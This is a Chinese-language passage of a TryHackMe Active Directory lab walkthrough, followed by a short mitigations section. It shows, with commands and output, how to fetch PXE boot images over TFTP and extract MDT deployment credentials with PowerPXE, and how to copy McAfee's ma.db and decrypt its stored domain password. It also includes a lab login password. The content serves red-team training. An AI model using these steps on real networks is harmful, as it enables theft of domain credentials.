在这个任务中,我们将专注于后者。我们将尝试恢复与 MDT 服务关联的部署服务帐户,用于此密码抓取攻击。此外,还有可能检索用于应用程序和服务无人值守安装的其他 AD 帐户。
PXE 引导镜像检索
由于 DHCP 有点挑剔,我们将绕过此攻击的初始步骤。我们将跳过尝试从 DHCP 请求 IP 和 PXE 引导预配置详情的部分。我们将手动执行此过程步骤中的其余攻击。
第一条关于 PXE 引导预配置的信息,您将通过 DHCP 接收到的,是 MDT 服务器的 IP 地址。在我们的情况下,您可以从 TryHackMe 网络图中恢复该信息。
您收到的第二项信息是 BCD 文件的名称。这些文件存储与不同架构的 PXE 引导相关的信息。要检索此信息,您需要连接到以下网站:http://pxeboot.za.tryhackme.com。它将列出各种 BCD 文件:

通常,您会使用 TFTP 请求这些 BCD 文件并枚举所有文件的配置。然而,为了节省时间,我们将专注于 x64 架构的 BCD 文件。复制并存储此文件的完整名称。在接下来的练习中,我们将使用此名称占位符 x64{7B...B3}.bcd ,因为 MDT 每天都会重新生成文件及其名称。每次您看到此占位符时,请记住将其替换为您特定的 BCD 文件名。请注意,如果网络刚刚启动,这些文件名将在网络活跃 10 分钟后才会更新。
使用从 DHCP(眨眼眨眼)恢复的初始信息,我们可以枚举并检索 PXE 引导镜像。在接下来的几个步骤中,我们将使用 THMJMP1 上的 SSH 连接,因此请使用以下信息进行 SSH 会话认证:
ssh thm@THMJMP1.za.tryhackme.com
和 Password1@ 的密码。
为确保所有网络用户都能使用 SSH,首先创建一个以您的用户名命名的文件夹,并将 powerpxe 仓库复制到这个文件夹中:
SSH命令提示符
C:\Users\THM>cd Documents
C:\Users\THM\Documents> mkdir <username>
C:\Users\THM\Documents> copy C:\powerpxe <username>\
C:\Users\THM\Documents\> cd <username>
我们需要执行的第一步是使用 TFTP 下载我们的 BCD 文件以读取 MDT 服务器的配置。TFTP 比 FTP 复杂一些,因为我们不能列出文件。相反,我们发送一个文件请求,服务器将通过 UDP 连接回我们以传输文件。因此,在指定文件和文件路径时需要准确。BCD 文件始终位于 MDT 服务器上的/Tmp/目录中。我们可以在 SSH 会话中使用以下命令启动 TFTP 传输:
SSH命令提示符
C:\Users\THM\Documents\Am0> tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s
您需要使用 nslookup thmmdt.za.tryhackme.com 查找 THMMDT IP。现在已恢复 BCD 文件,我们将使用 powerpxe 来读取其内容。Powerpxe 是一个 PowerShell 脚本,可以自动执行此类攻击,但通常结果各异,因此最好采用手动方法。我们将使用 powerpxe 的 Get-WimFile 函数从 BCD 文件中恢复 PXE Boot 图像的位置:
SSH命令提示符
C:\Users\THM\Documents\Am0> powershell -executionpolicy bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\THM\Documents\am0> Import-Module .\PowerPXE.ps1
PS C:\Users\THM\Documents\am0> $BCDFile = "conf.bcd"
PS C:\Users\THM\Documents\am0> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : <PXE Boot Image Location>
<PXE Boot Image Location>
WIM 文件是 Windows 镜像格式(WIM)中的可引导镜像。现在我们已经找到了 PXE 引导镜像的位置,我们可以再次使用 TFTP 下载此镜像:
SSH命令提示符
PS C:\Users\THM\Documents\am0> tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim
Transfer successful: 341899611 bytes in 218 second(s), 1568346 bytes/s
此下载将花费一些时间,因为您正在下载一个完全可启动和配置的 Windows 镜像。也许您可以在等待的时候活动一下腿脚,拿一杯水喝。
从 PXE 引导镜像恢复凭据
现在我们已经恢复了 PXE 引导镜像,我们可以提取存储的凭据。需要注意的是,我们可以部署各种攻击。我们可以注入本地管理员用户,以便在镜像启动时立即获得管理员访问权限,我们还可以将镜像安装到域加入的机器上。如果您想了解更多关于这些攻击的信息,您可以阅读这篇文章。本练习将专注于一个简单的攻击,即尝试提取凭据。
我们再次将使用 powerpxe 来恢复凭据,但您也可以手动执行此步骤,通过提取镜像并查找 bootstrap.ini 文件(这些类型的凭据通常存储在此文件中)来完成。要使用 powerpxe 从引导文件中恢复凭据,请运行以下命令:
SSH命令提示符
PS C:\Users\THM\Documents\am0> Get-FindCredentials -WimFile pxeboot.wim
>> Open pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = <account>
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = <password>
如您所见,powerpxe 已成功恢复 AD 凭据。我们现在有一组可以使用的 AD 凭据!

配置文件
在本网络中,我们将探索的最后一种枚举途径是配置文件。假设你足够幸运,成功造成了一次漏洞,从而获得了组织网络中主机的访问权限。在这种情况下,配置文件是探索以尝试恢复 AD 凭据的一个绝佳途径。根据被入侵的主机,各种配置文件可能对枚举有价值:
- Web 应用程序配置文件
- 服务配置文件
- 注册表键
- 集中部署的应用程序
可以使用多个枚举脚本来自动化此过程,例如 Seatbelt。
配置文件凭据
然而,在本任务中,我们将专注于从集中部署的应用程序中恢复凭据。通常,这些应用程序在安装和执行阶段都需要一种方法来验证域。此类应用程序的示例是 McAfee Enterprise Endpoint Security,组织可以使用它作为安全端点检测和响应工具。
McAfee 将安装过程中使用的凭据嵌入到名为 ma.db 的文件中,以便连接回编排器。此数据库文件可以通过对主机进行本地访问来检索和读取,以恢复关联的 AD 服务帐户。我们将再次使用 THMJMP1 上的 SSH 访问进行此练习。
ma.db 文件存储在固定位置:
SSH命令提示符
thm@THMJMP1 C:\Users\THM>cd C:\ProgramData\McAfee\Agent\DB
thm@THMJMP1 C:\ProgramData\McAfee\Agent\DB>dir
Volume in drive C is Windows 10
Volume Serial Number is 6A0F-AA0F
Directory of C:\ProgramData\McAfee\Agent\DB
03/05/2022 10:03 AM <DIR> .
03/05/2022 10:03 AM <DIR> ..
03/05/2022 10:03 AM 120,832 ma.db
1 File(s) 120,832 bytes
2 Dir(s) 39,426,285,568 bytes free
我们可以使用 SCP 将 ma.db 复制到我们的 AttackBox:
终端
thm@thm:~/thm# scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .
thm@10.200.4.249's password:
ma.db 100% 118KB 144.1KB/s 00:00
如果scp使用显示broken pipe,请使用rsync,如果也不能使用,我也不知道了。。。。。
要读取数据库文件,我们将使用一个名为 sqlitebrowser 的工具。我们可以使用以下命令打开数据库:
终端
thm@thm:# sqlitebrowser ma.db
使用 sqlitebrowser,我们将选择“浏览数据”选项并关注 AGENT_REPOSITORIES 表:

我们特别关注第二个条目,该条目侧重于域名、AUTH_USER 和 AUTH_PASSWD 字段条目。注意存储在这些条目中的值。然而,AUTH_PASSWD 字段是加密的。幸运的是,McAfee 使用一个已知密钥加密此字段。因此,我们将使用以下旧的 python2 脚本解密密码。该脚本已作为可下载的任务文件提供,或在 AttackBox 上,您可以在 /root/Rooms/BreachingAD/task7/ 目录中找到它。
注意:我们在这里使用的工具相当古老。它使用 Python v2 并依赖于一个旧的加密库。如果您在自己的虚拟机(VM)上无法使脚本工作,请使用 AttackBox。然而,应用程序最近进行了更新,以确保它也能在 Python3 上运行,您可以从这里下载最新版本:https://github.com/funoverip/mcafee-sitelist-pwd-decryption
您需要解压 mcafee-sitelist-pwd-decryption.zip 文件:
终端
thm@thm:~/root/Rooms/BreachingAD/task7/$ unzip mcafeesitelistpwddecryption.zip
通过向脚本提供我们使用 base64 编码和加密的密码,脚本将提供解密后的密码:
终端
thm@thm:~/root/Rooms/BreachingAD/task7/mcafee-sitelist-pwd-decryption-master$ python2 mcafee_sitelist_pwd_decrypt.py <AUTH PASSWD VALUE>
Crypted password : <AUTH PASSWD VALUE>
Decrypted password : <Decrypted Pasword>
现在我们再次获得了一组 AD 凭据,我们可以使用这些凭据进行进一步的枚举!这只是从配置文件中恢复凭据的一个例子。如果你能够在主机上获得立足点,请确保遵循详细且精细的方法论,以确保从主机上恢复所有战利品,包括凭据和其他可以存储在配置文件中的敏感信息。

结论
大量攻击途径可用于突破 AD。我们在本次网络的红队演习中覆盖了一些常见的攻击方式。由于攻击面巨大,不断发现新的途径来恢复第一组 AD 凭证。建立适当的枚举方法和持续更新它将需要找到那对初始凭证。
缓解措施
在缓解措施方面,组织可以采取一些步骤:
- 用户意识和培训 - 在网络安全链中,最薄弱的环节几乎总是用户。培训用户并让他们意识到他们应该小心透露敏感信息,例如凭证,并且不要相信可疑的电子邮件,这可以减少攻击面。
- 限制在线 AD 服务和应用程序的暴露 - 并非所有应用程序都必须可以从互联网访问,特别是那些支持 NTLM 和 LDAP 身份验证的应用程序。相反,这些应用程序应该放置在内网中,可以通过 VPN 访问。VPN 可以支持多因素身份验证,以增加安全性。
- 强制执行网络访问控制 (NAC) - NAC 可以防止攻击者将恶意设备连接到网络。然而,这需要相当多的努力,因为合法设备必须被允许列入白名单。
- 强制执行 SMB 签名 - 通过强制执行 SMB 签名,SMB 中继攻击将不可能发生。
- 遵循最小权限原则 - 在大多数情况下,攻击者将能够恢复一组 AD 凭据。通过遵循最小权限原则,特别是对于用于服务的凭据,这些凭据被泄露的风险可以显著降低。
既然我们已经突破了 AD,下一步就是执行 AD 枚举以更好地了解域结构并识别可被利用的潜在配置错误。这将在下一个房间中介绍。记得清除 DNS 配置!

浙公网安备 33010602011771号